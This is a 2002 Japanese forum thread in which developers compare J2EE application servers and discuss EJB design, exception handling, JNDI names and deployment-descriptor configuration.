某証券会社のサイト。 EJB(WEBLOGIC)で作成。50万行なり。 さて何人で構築したのでしょう。 EJB自体使うのは案件が大きいときのみ。
152 :
デフォルトの名無しさん :02/08/16 02:47
実働100人 一人あたま5000行
おらいりから今月出るらしいけど、もう並んでる本屋ある?
154 :
デフォルトの名無しさん :02/08/20 15:05
まだ売ってないと思うが。 oreilly.co.jpで予約しとけ。
155 :
デフォルトの名無しさん :02/08/21 11:10
>>151 正気とは思えない。
本当にチェックしたのだろうか?みづほの事件があったのに・・・
大体、WEBLOGICを採用したやつは、アフォです。
どっから、煽られてWEBLOGICにしたんだか。
証券会社のみづほが発生します。
WEBLOGIC ってダメなの?
157 :
デフォルトの名無しさん :02/08/27 02:06
>>140 J2EE_HOMEだかCLASSPATHに
%J2EE_HOME%\lib\j2ee.jar は通さなくていいんだっけ?
こないだJBoss使ってみたけど、デプロイとか簡単でいいね。 これでいいeclipseのプラグインがあれば、お勉強用には申し分ない感じ。
159 :
デフォルトの名無しさん :02/09/19 01:33
ツールなければEJBなんてできないだろう 日で○でコードなんかかけないね (スクリプトならともかく)
なんでみずぽと WebLogic が関係すんだ? あっちは RC の障害だろ。
161 :
デフォルトの名無しさん :02/09/19 02:22
ところで、BtoBのウェブアプリ作るときなんか、アプリケーションサーバは何がい いと思います?当然ですが、パフォーマンスとかセキュリティとか、それなりのも のを求められます。 WebLogic,iPlanet,WebSphere,Oracle 9i AS... 使ってみた感想とかおせえて。
162 :
デフォルトの名無しさん :02/09/19 03:18
>>161 AP鯖検討するのにB2BとかB2Cとか分けて考える理由がわからん。
両方やった経験からすると、検討すべきはもっと上のレイヤーだと思われ。
>>161 それだけの条件で解がでるわけねえだろ。
それなりってなんだよ(藁
164 :
デフォルトの名無しさん :02/09/19 07:31
>>156 WebLogicはWebSphereに比べればだいぶまし。
165 :
デフォルトの名無しさん :02/09/19 07:38
>>161 >>BtoBのウェブアプリ
WebServiceを使うってことでっか?
166 :
デフォルトの名無しさん :02/09/19 09:06
日で○でコードかいて System.outでデバックしてますがなにか? Ap鯖によっては開発ツールだめだめなのがあるんですよ
167 :
デフォルトの名無しさん :02/09/19 09:10
>>166 WeblogicとWebsphereならまずどのIDEも対応しているかと。
まぁWeblogicが硬い選択だよね・・・。Websphereは使いにくいし仕様準拠が古いから。
168 :
デフォルトの名無しさん :02/09/19 12:51
>>日で○でコードかいて >>System.outでデバックしてますがなにか? >>Ap鯖によっては開発ツールだめだめなのがあるんですよ 効率わるいだろ(w JB7はいいじゃないの?APSにもかなり対応しているし
おまいらコーディングからアプリケーションサーバ使ってんの? 効率悪すぎ 開発・動作確認: 好きな IDE + Tomcat 実テスト・実運用: WebSphere なり WebLogic なり EJB, MQ なんかの鯖パッケージ依存部分は置いておいて普通こうだろ。
xDoclet萌え
171 :
デフォルトの名無しさん :02/09/20 02:27
Cosminexusの開発環境はJB4です。
172 :
デフォルトの名無しさん :02/09/20 02:30
>169 TomcatはEJB対応してないのでは? 揚げ足ですまそ
>>172 TomcatはEJBコンテナないね。
動作確認とかパイロット作成とかは、JBoss+JettyまたはTomcatでいいね。
174 :
デフォルトの名無しさん :02/09/20 05:44
>>173 でも、始めっから導入するコンテナで開発したほうがよくない?
J2EE準拠とかいいつつ少しずつコンテナによって動作が違うぜよ。
エンコーデングの対応とか。
はじめまして、真紅です。 さて、C++か、C言語を吸っている方に相談です。 #inculude "Application"が、うまくコンパイルされずエラーになってしまいます どうしたらいいのでしょうか? 教えてください
何考えてんでしょうね?(w
177 :
デフォルトの名無しさん :02/09/20 07:00
178 :
デフォルトの名無しさん :02/09/20 23:19
ここでは、WebSphereの評判、悪いようですが、最近、WebSphereがWebLogicより 売れていると話を聞きました。どういうことなんでしょう? どこがよくなったの?
179 :
デフォルトの名無しさん :02/09/20 23:32
実際にウェブアプリを開発・運用している方にお聞きしたいのですが、本番 環境の ・ウェブサーバ ・サーブレットエンジン ・アプリケーションサーバ などは、どの製品を採用してます?理由も教えてくれるとありがたいです。
180 :
デフォルトの名無しさん :02/09/21 01:40
WebSphere重い。目盛り1Gだとよ。
WebSphereはマジ最悪です。 重いし、バグ多い上に、マニュアルの日本語が意味不明かつ エラーメッセージが不親切。おかげでトラブった時原因調査に エラく時間がかかる。 これほど開発者泣かせのアプリサーバはないのでは。 っていうか、俺が泣いてるんだけどさ。 なんで売れてるのかさっぱりわからんが、いい迷惑だ。
182 :
デフォルトの名無しさん :02/09/23 01:57
IBMのサポート受けられるからでしょ。 評価と開発と試験はJBoss&JettyまたはTomcatですますよ、おいらは。 かねないし。IDEはEclipseで、ALL無料開発環境完成です。
SunのJ2EE SDKでやってる人はいないの?
JBoss&Tomcatで開発するとき、IDE何使ってますか? インタフェース定義とか、DD書くのとか、CMPマッピングとか。 手書きするの、かったるいですよね。
186 :
デフォルトの名無しさん :02/09/24 01:23
>>185 EclipseにLombozプラグインを入れてみれ。EJBWizardとか便利だぞ。
JBoss3.0にも対応したYO
>>186 使ってみた。結構イイカンジ。
EJB周りはまだ触ってないけど、裏でEJBDoclet使ってるんだね。
JSPのコンパイルと、デプロイができるだけでも、かなりいいですね。
188 :
デフォルトの名無しさん :02/10/02 12:47
使うメリットないだろ EJBて(大規模以外は
189 :
デフォルトの名無しさん :02/10/02 20:00
>>188 いや、逆によほど小規模でもない限り選択肢として
EJBを考慮すべき時期になってきたんじゃないかな。
大規模とか小規模とか曖昧な表現だな。規模って何YO
191 :
デフォルトの名無しさん :02/10/02 21:23
>>188 同意。
>>189 そのこころは?よほど大規模なシステム以外では
牛刀を以て鶏を割く、の例え通りだと思うが?
192 :
デフォルトの名無しさん :02/10/04 01:40
CMPで管理する予定のDB設計をしているんだけど、 フィールド名日本語はダメぽ?
>>193 ejb-jar.xmlでのフィールド名と実DBのフィールド名との
マッピングはベンダー依存だとおもうんだが。
(たとえばJBossならjboss.xmlにマッピングを指定できる。)
つまりアプリケーションサーバを明記しないと、知ってる
人でも答えようがない罠。
>>194 Weblogic6.1です。
jboss3も知りたい・・・。
197 :
デフォルトの名無しさん :02/10/05 16:51
EJB専用スレッドがあるってきずかなかったので、こちらに書きます。 EJBではThread操作は禁止されていますが、 非同期駆動をしたいときは、 1. JMSでメッセージをおくる(その後は、Message-Driven Beanで処理) くらいしか、方法はないでしょうか? EJB2.1 では、Timer Service が使えるのですが...。 現状のJ2EE1.2 or 1.3 では他に方法はない? この需要は多いと思うのだけど。
>>197 JMS Client --> JM SServer --> EJB Container <--> MDB
にこだわる必要はなく、
JMS Client --> JM SServer --> JMS Client <--> 各種EJB
でいいんじゃない?
Timer Serviceって何だべ?
200 :
デフォルトの名無しさん :02/10/06 14:16
EJB使ってるところって,EntityBeanもつかってるのが多い? それともSessionBeanでそこから通常のSQLでDBアクセスするほうが多い? EntityBeanはシステム設計の概念からER図やDFDという考え方から 変えないといかん気がするし,なんとなく使い勝手悪そう
202 :
デフォルトの名無しさん :02/10/06 15:18
EJBってなんでしょうか? おせーてくだせいませ
google にでもどうぞ。
204 :
デフォルトの名無しさん :02/10/06 15:33
EJBってなんでせうか? おしえてくださいませ。
>>199 The EJB timer service is a container-provided service that allows
the Bean Provider to register enterprise beans for timer callbacks
to occur after at a specified time, after a specified elapsed time,
or at specified intervals.
206 :
デフォルトの名無しさん :02/10/07 00:01
>>201 あくまで個人的な意見と断っておくが、
EntityBeanは正直おすすめできない。
環境設定トラブルや、パフォーマンスの問題で苦労することが多い割には
導入するメリットは少ない。
SessionBeanだけ使っても、トランザクションの自動化はできるから、
それでじゅうぶんだと思う。
207 :
デフォルトの名無しさん :02/10/10 12:41
EJB 板に書くべきことではないかもしれないですが、 session bean + SQL で書いていると、 将来負荷分散するつもりでなければ (逆に言えば、負荷見込みができるのであれば) servlet + EJB + sql ではなくて、 servlet + sql で十分のような気がします。 その辺どうですか?
211 :
デフォルトの名無しさん :02/10/10 20:22
EJB本、高すぎ
212 :
デフォルトの名無しさん :02/10/10 20:38
EJB 板というか、ここの EJB(初心者歓迎) です。 208 さん、209 さん、210 さん ご意見ありがとうございます。 今回仕様とか見ていないんですが、 最後作るものを想像してみると 今までと何が違うのかよくわかんなくなりまして。 EJB を使うと何が違うのかなぁ、とおもったのです。 ありがとうございました。
213 :
デフォルトの名無しさん :02/10/10 22:58
>>212 EJBを使うと、分散システムになるのが最大の違いじゃないの。
ServletとEJBを必ず同じマシンで動かすなら、ほとんど意味は
ないんじゃない。
まあ、トランザクション管理が楽になるというのはあるけど。
しかし、EJB使ってシステム構築すると、なんであんなに重いの? いくら漏れが厨だからっつっても、重すぎるなぁ。。。
215 :
デフォルトの名無しさん :02/10/10 23:10
EJBのメリットは、開発者が本来気にしなければならない基盤的な部分を 隠蔽してくれる(または外部パラメータ化してコードレスで制御できるようにする) ことじゃないかな? XA分散トランザクション制御もそうだし、インスタンスのライフサイクル管理や プーリングなんかも楽でしょ? 例えばStatelessなEnterprise Beanなんかに対して、最初は 「デフォルト時は常に3インスタンス生成しておいて、ピーク時にも最大500インスタンス までしか生成させないようにしよう」とかやっておいて、 将来的に「あ、やっぱデフォルト10の最大800にしよう」とかしようとした時に、 パラメータをいじるだけで簡単に変更できるし。 これが普通のBeanだったりするとわざわざSingletonパターンで自前でこういった 仕組みを用意しなければならない。
>>215 全然楽じゃないよ。
書かなきゃならないコードが多すぎる。アプリ全体での見通しは悪いし。
そもそも、開発者が分散トランザクション制御とか、インスタンスのライフサイクル管理とか
コネクションプーリングとか、SQL文ガリガリとか、セッション管理とか、負荷分散とか
考えなきゃいけないのが鬱。
WebシステムでJSP使うと、デザイナとの共同作業がめんどくさい。
ロジック組み上げた状態でJSPテンプレート側の仕様変更とかあると、大変だし。。。
とりあえず、今もWinのJava2環境でWebシステム開発してるけど、そういう面倒な
部分からはほとんど逃れられたので楽。
おれの場合、今はもうEJBの分散はオプション的に捉えているな。
>>216 書かなきゃいけないコードって、別に普通にJavaBeansで書くのとほとんど
変わらないと思うんだけど。JavaBeansからEJBへの移行ってやったことある?
どっちでもビジネスロジックに専念するだけで済んだよ?
RemoteやHomeのことをいってるのかな?
EJBの基本的な「お約束」の部分は普通ウィザード任せでしょ?
これはJ2EEに限らず他のアーキテクチャでもそうだし。
> 開発者が分散トランザクション制御とか、インスタンスのライフサイクル管理とか
> コネクションプーリングとか、SQL文ガリガリとか、セッション管理とか、負荷分散とか
> 考えなきゃいけないのが鬱。
これはむしろ基盤チームの人たちやデプロイヤといった、ごく小数の精鋭部隊が
DD作る時に考えればいいだけのことじゃないかな?(SQL除く)
開発者は上記の技術についてコードに一切記述する必要がないよね?意識する必要さえない。
開発者はロジックのみに専念できるはず。
小数の精鋭部隊(=基盤を作る側)が苦しむ代わりに、大多数のプログラマがその土台に乗って、
ごく単純なロジックだけを力技でガリガリ作っていけるのがコンポーネント指向のいいところだと思う。
>>218 ごめん、煽った俺が悪かった。
EJBで頑張ってくれ。俺はもうEJBなんか面倒でやってられない。
他に新天地を見つけたから。
>>220 厨が使う環境だよ。言うほどのものでもないよ。ガンガッテクレ
とりあえず、残業もなく飲みにも逝けてる。
それだけで十分だ。
うん分かった。でも実は俺EJBを業務で使ったことないんだな、これが。 実は.NET+C#(煽りじゃなくてこれマジ) Windows系でCOM+やら.NET Assemblyやってると、EJBが使えるのに 使わないのがすっげーもったいなく思えるんだよね。
>.222 うーんと、そっちが教えてくれたから、こちらも恥ずかしながら告白するよ。 アップルのWebObjectsってやつ。 アップル製品だけど、開発はWindowsでもできる。運用は、Java2環境なら、OS選ばず。 Enterprise Object Frameworkっていうフレームワークがあって、DB周りの面倒なことは 全部面倒見てくれる。 世間の評判は、マカ専用Webオーサリングソフトって感じなのかな? まぁ、マイナー製品だし、なんでもいいけど。 周りから何を言われようと、客に満足してもらえて自分が楽できれば、 それでいいやって感じ。 以前は、WebLogicだったんだけど、いろいろと大変だったから、 それに比べれば天国と地獄。 環境は違うけど、お互いガンガロウぜ。
224 :
デフォルトの名無しさん :02/10/11 00:45
> 開発者が分散トランザクション制御とか、インスタンスのライフサイクル管理とか > コネクションプーリングとか、SQL文ガリガリとか、セッション管理とか、負荷分散とか > 考えなきゃいけないのが鬱。 てか、それを考えないでシステム作るほうが怖いんじゃない? 仕組みさえ知ってれば、設定するだけで動くコンテナがあるのがいいと思うんだけど。 まぁいろいろ前提知識が要るという時点で、プロの環境だよね。 その分、労力をかけずに高度なことができるってわけで。 絵を書くときにMSのペイントで満足するか、AdobeのIllustratorを使いたいと思うかどうかだね。 >以前は、WebLogicだったんだけど、いろいろと大変だったから、 >それに比べれば天国と地獄。 そういう状況はよく分かる。 EJB使うには、分析や設計もプロでないと苦労するし。 ただ、慣れるとEJBも楽だよ。 WebSphereもWSADなんかできて便利になったし。(重いのには閉口するが) >Windows系でCOM+やら.NET Assemblyやってると、EJBが使えるのに >使わないのがすっげーもったいなく思えるんだよね。 MS環境でずっとやってきた人も、そういう風に思うんだ〜。 やっぱ、分かってる人はちがうね。 .NETもいいけど、あのアーキテクチャじゃスケーラビリティや信頼性はないしね... なんでもSOAPに頼るのはいいけど、SOAPだけでトランザクション保証できるのかなぁ。
仕事をしてるやつは、煽っても最後はすがすがしいな。
226 :
デフォルトの名無しさん :02/10/11 01:16
そもそも分散システムをつくるのに、「ネットワーク越しの 問い合わせには強烈なコストが掛かる」という程度のことも 理解できていないアホが関わる最近の風潮は、どうにかして 欲しいもんだ。
>てか、それを考えないでシステム作るほうが怖いんじゃない? >仕組みさえ知ってれば、設定するだけで動くコンテナがあるのがいいと思うんだけど。 >まぁいろいろ前提知識が要るという時点で、プロの環境だよね。 >その分、労力をかけずに高度なことができるってわけで。 >絵を書くときにMSのペイントで満足するか、AdobeのIllustratorを使いたいと思うかどうかだね。 同意。俺はWebObjectsだけど、元々NEXT製品だし(^^;)、クセの強い独自framework使うから、 OOP/Java/RDBMS/SQL/HTTP/HTML等々の知識は必須。カスタムSQL使えるけど、 ほとんどその必要性が無いような案件ばっかり・・・(^^; DBからの情報を、Webインターフェースに接続する作業なんかはマウス操作(笑)なんだけど、 とはいえ、「なぜこういう構造になっているのか」ってところを理解すべきなのは他環境と変わらず。 マイナー製品だから情報量も少なくサポートも不安。 そういう点では、WebLogic/WebSphere/.NETあたりのほうが、遙かにアドバンテージ高いかも。 ただWebObjectsは、開発環境と、アプリケーション鯖としては、同時アクセス数無制限ライセンスの 運用環境が同梱されてて¥7万で買えちゃうから、客にも提案しやすいよ。 Webベースの運用ツールも付いてるし、負荷分散とかも楽。 もし機会があれば、さわってみてほしいな。スキルがある人間だったら、どんなものか だいたい判ると思うから。 ちなみにJ2EE対応で、EJBコンテナとしても使える。Servlet/JSPにも対応。 >EJB使うには、分析や設計もプロでないと苦労するし。 >ただ、慣れるとEJBも楽だよ。 >WebSphereもWSADなんかできて便利になったし。(重いのには閉口するが) 分析・設計が必要なのは、どんなツールを使っても同じだろうね。 道具だからね。「まず顧客の要求ありき」、でやらないと、だれも幸せになれないし。 WSADといえば、Eclipseで最近遊んでるんだけど、あれはいいね。 確かに重いけど、JBuilderとかTCC程じゃないし。プラグインが豊富なのが素晴らしい。 特に最近は、Eclipse-UMLとかいうプラグインで遊んでるよ。 EclipseをWebObjectsの開発環境にするプラグインもあるみたいなので、 これも評価してみるつもり。
WebObjectsは詳しくは知らないのですが、JBuilderのようなIDEとの統合 という道はあるのでしょうか? WebObjectsというのは、開発環境と運用環境 とを合わせ持っている? (?_?)
>>228 WebObjectsは、
1. Webアプリの統合開発環境 :WebObjects Developer
2. Webアプリの運用環境 :WebObjects Deplotment
の2つが、1つのパッケージに入ってて、¥7万ちょっと。
2年前くらいまでは、全く同じ製品構成が、100倍の\700万だったの。
ある時期に、一気にタダみたいな値下げを行ったんだけどね。
開発環境は、Windows2000(XPも多分OK)と、MacOSX。
運用環境は、Java2VMがあれば、なんでもOK。
対応DBは、基本的にJDBC2.0ドライバがあるものならほぼ何でもOK。
日本だと超無名だけど、アプリケーション鯖としては、多分業界初だった。
アプリからDBにアクセスするためのフレームワークは、10年以上の歴史があって、
元々は金融系でOpenStepとかと一緒に使われてたらしい。
IDEとしては、一般的なコーディング用のIDEと、
Webインターフェースのデザインツールと、
RDBのテーブル構造をJavaオブジェクトにモデリングをするツールが主。
運用環境は、単に1鯖あたり同時接続数無制限のライセンス付き。
CPU1個につきいくら、とかいうライセンスじゃないから、零細には有り難い。
IDEだけでも、50トランザクション/分の運用環境が付いてるから、
開発→ビルド→実行テストが、楽にできる。
元々、実績のあるフレームワークが、Web用・DB用で用意されてるんだけど、
最新バージョンでは、J2EE準拠で、EJB/Servletコンテナとしても使える。
漏れは使ったこと無いけど。
興味あるなら、
http://www.apple.co.jp/webobjects/ あたりで見てみれ。
>>226 >そもそも分散システムをつくるのに、「ネットワーク越しの
PS3は次世代ネットワークだと煽りまくってますけど
実現するのかねぇ...
232 :
デフォルトの名無しさん :02/10/12 01:33
JbuilderEnとの違いは?
233 :
デフォルトの名無しさん :02/10/12 14:51
俺はEJBっていうか、J2EEそのものの未来にかなり悲観的なんだが。 J2EE導入したことで、実際に幸せになっていることってあるのか? J2EEで運用されているサイトはことごとく重いような気がするし。 Amazonとか、IBMとか。
>>233 おまえEJBの仕様とか何も知らないで発言してるだろ(藁)
重いことと、J2EE仕様は、直接リンクしねぇな(w そもそもこのスレに、J2EE自体はリファレンスでしかないってことを 知ってるやつってどのくらいいるんだ?
237 :
デフォルトの名無しさん :02/10/12 18:58
232>>WebObjectsと JBでもできるんだけど
>>235 いや、知らないも何も、プロジェクトで使ってから
三年くらいになりますが・・・
>>236 J2EE仕様が最初に発表されてから5年くらいたちますが、
どのアプリケーションサーバベンダーも、いつまでたっても
パフォーマンス面の不安を解消できていません。
そのことについてどう思います?
特に、EJBのCMPは仕様自体に無理があると感じることはありませんか?
>EJBのCMPは どの辺に無理があると思うの?
>>239 データベースのテーブルとのマッピングです。
テーブルのJoinをうまく表現できてないように思えます。
結局、1テーブルに単純に一行挿入したり、更新したりするのは
簡単にできますし、パフォーマンス的にも悪くないのですが、
複雑な構造をもったテーブルの検索にはうまく対処できません。
>>237 JBuilder Enterpriseと、WebObjectsを比べてるのか。
開発効率と実用的な運用まで考えたらJBは、WOに遙かに及ばないよ。
知名度と技術者確保に関しては、WOはJBに遙かに及ばないけど(w
242 :
デフォルトの名無しさん :02/10/13 09:59
>218 うちのプロジェクトがまさにそう。 開発やってる人間にDDのここの設定 直してください。 って言っても、ハァ?って答え。 その辺も面倒見れるだけの、人数が 基幹チームにいればいいだが、 どうしても手が足りないところとか、 力作業は開発にお願いすることになり、 結局なにもわかってない人相手にするのは 疲れるわけで。 嫁とはまだやってないわけで。
>>240 なんでもかんでも、
・複雑なテーブル構造
・SQL文
で解決しようと考えていることが間違い。
>>243 だからといって、EJBが最適とは言い切れないだろうけどな。
245 :
デフォルトの名無しさん :02/10/19 01:03
WebObjectsそんなにいいのか WIN版ないの
Winでも使える
247 :
デフォルトの名無しさん :02/10/19 02:06
>>240 更新系はCMP-EB、参照系はSLSBからDAOコールというのが、
EJBの定石らしいぞ。まあ、通信に伴うネゴシエーションが
時間コストの大部分だということが分かっていれば、そう
するのが当たり前だという結論には当然達するはずだが・・・
なんで、そうしないヤツラがおおいんだろうね?
>>240 あと、EJB2.0のCMP仕様は、RDBのOuterJoinをCMPで表現
するらしいぞ。試してみたら?
249 :
デフォルトの名無しさん :02/10/19 05:39
みんな、EJBを開発する時の、開発者ローカルPC上での稼動確認はどうしてる? EJBコンテナ環境とか、呼び出す為のクライアントとか。 やっぱJ2EE RIだのJBossだのフリーで軽いAPサーバを各開発PCに入れてそこでデプロイして、 わざわざドライバ作ってそこからアクセス?
>>248 この前のJavaOneで、そのあたりの話があってたね。
(結局良くわからんかったけど。)
251 :
デフォルトの名無しさん :02/10/19 07:10
>>249 私は JBuilder Ent版 を使っているので、付属のBorland Enterprise Server
をJBuilderIDE内から起動しています。
254 :
デフォルトの名無しさん :02/10/20 22:26
質問があるのですが。 BorlandEnterpriseServerで、WebserviceパーティションにWebServiceを配布して StandardパーティションにEJBのjarを配布させて、WebServiceからEJBを呼ぶ際に Log4j.propertiesが見つからないってなExceptionが発生するんですが。 あと、CORBAのBAD_PARAMってなExceptionも。 すげー困ってるんでわかる方、教えてください。 BESの設定の問題? とりあえずwarに、必要なライブラリは含めて配布してます。
>>254 「CORBAのBAD_PARAMってなException」は、何が例外が出るようなことを
しているのでは?
>>254 ちと勘違いしました。
Log4j.propertiesが見つからないというのは、ApacheAXISの設定の問題ですね。
ApacheAXISのマニュアルなどを参考にしてください。
258 :
デフォルトの名無しさん :02/10/21 02:08
>>255-257 貴重なアドバイスありがとうございます!
warを解凍して実行するプロパティはTrueを指定したつもりだったのですが
もう一度確認してみます。
CORBAのExceptionの方がよくわからないのですが、EJBもWebServiceの
クラスもSerializableインターフェースを実装させているのですが、
そーいうたぐいのエラーなのでしょうか?
ちなみにJBuilder上でTomcatを起動している場合はEJBの呼び出しも、すべて
うまくいっています。
Log4jの件も、Axisのマニュアルを確認してみます。
ありがとうございます!
260 :
デフォルトの名無しさん :02/10/22 00:05
>>259 問題の件は無事に解決させてきました。
非常に参考になり助かりました。
ありがとうございました!
google にでもどうぞ。
262 :
デフォルトの名無しさん :02/10/29 01:03
DD書く時に出てくるJNDI名とかJNDI名の参照って何ですか?ejb/xxxxxって書かせるヤツ。 あれ登録すると何がどうなるの?今は参考書の言われるままになんとなく書いているんだけど。 あれ書くとコードの中で"ejb/xxxxxx"とか直打ちしてるのが必要なくなるとか?
>>262 > DD書く時に出てくるJNDI名とかJNDI名の参照って何ですか?
EJBを(名前を付けて)登録してるの。
> コードの中で"ejb/xxxxxx"とか直打ちしてるのが必要なくなる
なくならないよ。その名前で呼びだせるようになるだけ。つうか、その
直打ちは、client側のコードでしょ。
>>262 コードの中に直打ちしたJNDI名がそのまま使われると、
あとでJNDI名の変更がやりにくいから、DDでマッピングする
仕組みが導入されたんだと思われ。
あれ?EJB参照の話をしているのかと思ってたけど勘違いだったか?
どもです。 確かJNDIを意識する必要があるのが、 ・JAR自体につけるJNDI ・WARでつけるJNDI参照 ・EARでつけるJNDI参照 ・クライアントの直打ち の4箇所だったと思うんだけど、 「JAR自体にJNDI名をつけてJNDIに登録して、クライアントからその名前で呼ぶ・・・というのは 分かるんだけど、WARやEARにJNDI参照をつけるのには何か意味があるのかなー?って 思ったわけです。コンテナがこの情報を使って何をしてるのかが分からないんです。 これって特に指定しなくても動作するものなのですか? あと、リソース参照というのも分かりません。JDBCのDataSourceとかもここに登録するの? 今はコードのlookupで"jdbc/xxxxx"を決め打ちしてて、これで特に問題ないから気にしてないんだけど、 DDに記述すると何か挙動が変わるんでしょうか? うーんどうやら根本的な知識が不足しているようだ。
269 :
デフォルトの名無しさん :02/10/29 22:08
コード中で lookup(java:comp/env/jdbc/hogeDatasource) でルックアップしている場合は、そのENC(環境ネーミングコンテキスト)内の jdbc/hogeDataSource はDDの中で宣言しておかなければいけないのよ。 そのjdbc/hogeDataSource を、実際のアプリケーションサーバーで定義されているDatasourceの JNDI名(myappli/fooDataSource)とbindingしなければいけないのよ。 jdbc/hogeDataSource -> myappli/fooDataSource bindingの仕方はアプリケーションサーバーによって異なるのよ。 直接、lookup(jdbc/hogeDatasource) のようにするのは、もう古いやりかたなわけよ。
>>268 殿、
>>269 殿
大変参考になります。当方たった1人でJ2EEの調査やらされてるもので。
で、あまり頭よくないお馬鹿さんなので、もう少し質問させてください。
教えていただいたサイトはとりあえずJNDIの項目だけ読みました。
自分なりに以下のような手順になるのかな?と考えたんだけど、これであってますか?
(たぶん間違ってるだろうなぁ)
1.まずDDにJNDI名とその実体をバインディングするように記述する。
EJBであればEJB-JARのDDに、実体クラス名「samplepackage.HogeHogeHome」とJNDI名「ejb/HogeHoge」のマッピングを登録する。
JDBCであれば??????のDDに、定義Datasource名「sampledatasouece/HogeHogeDB」とJNDI名「jdbc/HogeHoge」のマッピングを登録する。
2.続いてDDにJNDI名と参照するクライアント側の変換マッピングを記述する。
EJBであればWARとEARに、使用するJNDI名「ejb/HogeHoge」とLookup名「sampleapp/ejb/HogeHoge」のマッピングを登録する。
JDBCであれば???????に、使用するJNDI名「jdbc/HogeHoge」とLookup名「sampleapp/jdbc/HogeHoge」のマッピングを登録する。
3.コードの中ではLookup名でNamingContextからオブジェクトを取得する。
EJBであれば、lookup( "sampleapp/ejb/HogeHoge" )とする。
JDBCであれば、lookup( "sampleapp/jdbc/HogeHoge" )とする。
??????の部分は分かりませんでした・・・
>>270 JDBCドライバをJNDI名にバインドするのは、各アプリケーションサーバによって違う。
基本的にはサーバの設定ファイルか、APIで設定する
どもです。
>>271 そういえばJDBC設定はJ2EE RIではconfファイルに、WASでは管理コンソールからリソース設定した記憶があります。勘違いですスミマセン。
「jdbc:oracle:thin:servername:sid|jdbc/HogeHogeDB」とかいうヤツですよね?
てことは1のステップでどこかにJDBC設定を行う必要はないってことですか?(APサーバとして既に設定されているから)
で、2のステップが、
「JDBCであればEJB-JARに、使用するJNDI名「jdbc/HogeHoge」(APサーバに登録済)とLookup名「sampleapp/jdbc/HogeHoge」のマッピングを登録する。」
となるんでしょうか?
>>272 良く見ると微妙に勘違いしてそう。基本は、jndi名でlookupするんだけど。
あと、earのDD(application.xml)ではJNDIの設定なんて無いけど。
あのう、突然でしかも根本的な質問なんですが… sunのドキュメントとかネットの解説ページのEJBのサンプルって有りますよね。 あれってほとんどが同じVM上でクライアントのプログラムを実行してるじゃないですか で、そのクライアントプログラムを別のVM上で実行しようとしてるんですが それについての詳しい資料がみつかりません。 ネットで探したり本屋で立ち読みしたり(金がないんで)してどうやら環境変数を 設定して実行すればいいのかなとは思ったんですが(java -D…って感じで) もう少し詳しい資料、もしくは環境変数の設定のし方を教えていただけませんか?
> 良く見ると微妙に勘違いしてそう。基本は、jndi名でlookupするんだけど。
あれ?そうなんですか?JDBCの話ですよね?
てゆうか今は実際にAPサーバに登録しているJNDI名をクライアントコードに
ハードコードして呼び出しているんだけど、
>>269 では「直接書くのは古いやり方なのでDDでマッピングしたものを使うべき」
のようなコメントがあったので、むりやりそうしてみたんですけど。
> あと、earのDD(application.xml)ではJNDIの設定なんて無いけど。
「リソース参照」とかいうところがJDBC Datasourceのそれなのかなぁ?って思ってました。
これから会社に行ってもう一度見直してみます・・・。
276 :
デフォルトの名無しさん :02/10/30 08:33
DDのなかで宣言しておくのは、あくまで、コードの中で使われる仮の名前。 その仮の名前を実際のアプリケーションサーバーで定義されているJNDI名にマッピングさせるのがbinding。 bindingの方法はアプリケーションサーバーによって、異なる。 SUN J2EE RI なら sun-j2ee-ri.xml (だったっけ?)にその情報は書かれるし、 WebSphere なら ibm-ext-bnd.xmi に書かれる。
OREILLYの、J2EE読んでるけど、EJB1.0までしか書かれていないんです。(正確にはベータ) 「DD」の意味とか調べたいのですが、何を参考にされていますか。 よろしくだゴルァ
278 :
デフォルトの名無しさん :02/10/30 10:24
結局EJBって何なのですか? 本当に必要なんでしょうか? どういった時に必要、もしくは威力を発揮するのでしょうか?
中小規模案件にEJB適用すると、 無駄にコストがかさむような気がするな。。。必要以上に複雑になるような。 メンテ性に悪い気もする。
>>279 279さんが書くコードよりはメンテナンス性は良いし、拡張性も良いと思います。
効率は上がるよ。 分かってる人が適切なツール使ってれば。 不勉強な人がviとか秀丸で作業してるようならお勧めできないが。
>>278 分散環境で動かすビジネスロジックBean
>>279 メンテ性はEJBDocletに期待。と逝ってみるテスト
お前らがEJBやJ2EE適用してる案件って、どの程度の規模なんですか? 単純にServlet+JSP+JDBCでやったほうが効率いい場合ってありますよね?
>>283 EJBのパフォーマンスについては既出なのでsage
>>283 まさかとは思いますが、あなたは効率のみに注目しているのですか?
>>277 じゃ、OREILLYのEJB第3版はどうよ。
288 :
デフォルトの名無しさん :02/11/01 10:22
EJB で以下のようなメソッドがあった時、 処理異常で RemoteException を返すのはよいとして、 obj の値の組み合わせによって作業を継続できないような場合、 何を返すのが妥当なんでしょう? public Object[] getXxx(Object obj)
よくわからんが。。。 呼ぶ前に例外がでないように検証する。 or RemoteException派生クラスを送出。 or RemoteExceptionを送出。 or nullを返す。
>>288 RemoteException を EJB内からthrowしちゃだめ。
これ常識。
ユーザー例外 か EJBException をthrowしましょう。
>>289 RemoteException派生クラスなんてもってほか。
ユーザー例外は、RuntimeExceptionやRemoteExceptionから派生しちゃだめ。
>>289 さん、290さん、291さん
教えていただいたことで検索してみました。
EJB から throw した EJBException をコンテナが RemoteException に置き換える(らしい)から
RemoteException を使うのはだめ。
EJBException は RemoteException に置き換えられる(らしい)から
特定の例外を返すには向いていない気がしました。
となると、java.lang.Exception を継承した ユーザ例外を作成するのが
よいんでしょうか。
>>292 はい。java.lang.Exception を継承したユーザ例外を作成してください。
>>292 ただし、ユーザ例外の場合には自動的にはRollbackが掛からないから
気をつけてください。最終的にはEJBExceptionで包んだほうが良いかも。
>>292 ユーザー例外をthrowする前に、EJBContext#setRollbackOnly() を呼ぶという
のもオススメです。
おお、いらん恥かきつつも言ってみるもんだ。 どもです。勉強になりますた。
>>293 さん、294さん、295さん、289さん、
コンテナ上で返す例外は、色々気をつけなければいけない事があるのですね。
勉強になりました。ありがとうございます。
298 :
デフォルトの名無しさん :02/11/01 23:44
ちょっと前に話題にのぼったJNDIのことなんだけど、 結局、EJBが持つデフォルトのJNDI名をそのまま使って呼び出しても問題はないわけね? というか、今作っているシステムはそのまま素のJNDI名前でlookupかけていて、 WARからEJB参照は一切記述していないんだけど。 そもそもそのJNDI名自体が普遍的で変わることなんてなさそうだから。 (そもそもわざわざ別名をつける必要があるほど名前がコロコロ変わるシチュエーションなんてあるの?) それによってパフォーマンスが落ちるとかはないんでしょ?
299 :
デフォルトの名無しさん :02/11/02 00:11
